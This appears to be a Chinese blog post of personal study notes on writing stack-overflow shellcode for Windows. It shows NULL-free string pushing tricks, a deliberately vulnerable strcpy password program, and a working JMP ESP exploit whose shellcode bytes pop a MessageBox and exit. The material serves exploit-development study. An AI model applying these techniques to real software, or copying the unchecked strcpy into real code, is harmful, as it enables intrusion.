• 栈溢出shellcode字符串push


    这是很久以前的笔记了  去年的笔记···········

    这里增加几条:

    1)  PUSH  字符串, 先用其他字符代表0x00  然后 通过 EBP的负偏离量处一字节一字节的写入!!!!!!!!!!

    重新产生没有 NULL字节的 机器码

    2) XOR/add /sub  计算  比如 0x006e616c  那么     0x77191693 xor 0x777777ff = 0x006e616c    直接压入 进行xor

    mov eax,0x77191693 

    mov ebx,0x777777ff

    xor eax,ebx

    push eax 

    3)直接压入字符串 然后单字节压入 

    xor eax,eax, 

    push eax,           

    mov ebp,esp

    mov byte [ebp-2] ,61

    4) 对于  像  0x000000AB   的字符的话    用  

    mov eax,0xXXXXX   

    push eax

    5)直接用  0x20 空格代替 结束符,一般情况下可以用的



    00401110      33C0          xor eax,eax
    00401112      8BEC          mov ebp,esp
    00401114      68 61202020   push 0x20202061
    00401119      8845 FD       mov byte ptr ss:[ebp-0x3],al
    0040111C      68 70616E64   push 0x646E6170
    00401121      8BDC          mov ebx,esp
    00401123      50            push eax
    00401124      68 B3F6C1CB   push 0xCBC1F6B3
    00401129      68 BEADD2E7   push 0xE7D2ADBE
    0040112E      68 6120D2D1   push 0xD1D22061
    00401133      68 70616E64   push 0x646E6170
    00401138      68 B1A8B8E6   push 0xE6B8A8B1
    0040113D      8BCC          mov ecx,esp
    0040113F      50            push eax
    00401140      53            push ebx
    00401141      51            push ecx
    00401142      50            push eax
    00401143      E8 A2F69477   call USER32.MessageBoxA
    


    可以看到我们已经可以构造  不是标准 4字节的字符串了,而且可以再也不用烦恼 bad character!!!!!!!!!




    以下分析有错   在JMP EBX  中  运行shellcode运行时会修改shellcode 所以最好都不知道变什么样了  但是PUSH 字符串分析是正确的

    因为压栈会破坏数据


    想要插入字符串  必须从后往前插入 如果大于4字节  并且保证最后为4字节再例如:

    0013FAF0    33DB                               xor ebx,ebx
    0013FAF2    53                                 push ebx
    0013FAF3    6A 61                              push 0x61
    0013FAF5    68 50616E64                        push 0x646E6150
    0013FAFA    68 20627920                        push 0x20796220
    0013FAFF    68 30646179                        push 0x79616430
    0013FB04    8BC4                               mov eax,esp
    

    原因是 push 后有结束符吧
    以上是最难得地方;


    这里是源码:

    #include <stdio.h>
    #include <windows.h>
    #define PASSWORD "1234567"
    int verify_password (char *password)
    {
    	int authenticated;
    	char buffer[44];
    	authenticated=strcmp(password,PASSWORD);
    	strcpy(buffer,password);//over flowed here!	
    	return authenticated;
    }
    main()
    {
    	int valid_flag=0;
    	char password[1024];
    	FILE * fp;
    	LoadLibrary("user32.dll");//prepare for messagebox
    	if(!(fp=fopen("password.txt","rw+")))
    	{
    		exit(0);
    	}
    	fscanf(fp,"%s",password);
    	valid_flag = verify_password(password);
    	if(valid_flag)
    	{
    		printf("incorrect password!
    ");
    	}
    	else
    	{
    		printf("Congratulation! You have passed the verification!
    ");
    	}
    	fclose(fp);
    }


    写了个程序  可以倒叙输出字符串  方便压栈





    以下为正确的:

    JMP ESP   堆栈很安全  几乎没被修改:

    77D91E64  - FFE4            jmp esp
    

    在返回地址处 修改为上面这个

    0013FB28    33DB            xor ebx,ebx
    0013FB2A    53              push ebx
    0013FB2B    6A 61           push 0x61
    0013FB2D    68 50616E64     push 0x646E6150
    0013FB32    8BC4            mov eax,esp
    0013FB34    53              push ebx
    0013FB35    50              push eax
    0013FB36    50              push eax
    0013FB37    53              push ebx
    0013FB38    B8 EA07D577     mov eax,user32.MessageBoxA
    0013FB3D    FFD0            call eax
    0013FB3F    B8 FACA817C     mov eax,kernel32.ExitProcess
    0013FB44    FFD0            call eax
    


    二进制位:

    33 DB 53 6A 61 68 50 61 6E 64 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0 B8 FA CA 81 7C FF D0

    安全弹框  安全退出













  • 相关阅读:
    Java的常用API之System类简介
    Java的常用API之Date类简介
    Java的常用API之Object类简介
    数据库知识总结(全)
    学习:浏览器访问网站的总流程
    学习:TCP/UDP协议分析(TCP四次挥手)
    学习:TCP/UDP协议分析(TCP三次握手)
    学习:ICMP协议
    实现:ARP探测存活主机
    学习:ARP协议/数据包分析
  • 原文地址:https://www.cnblogs.com/zcc1414/p/3982482.html
Copyright © 2020-2023  润新知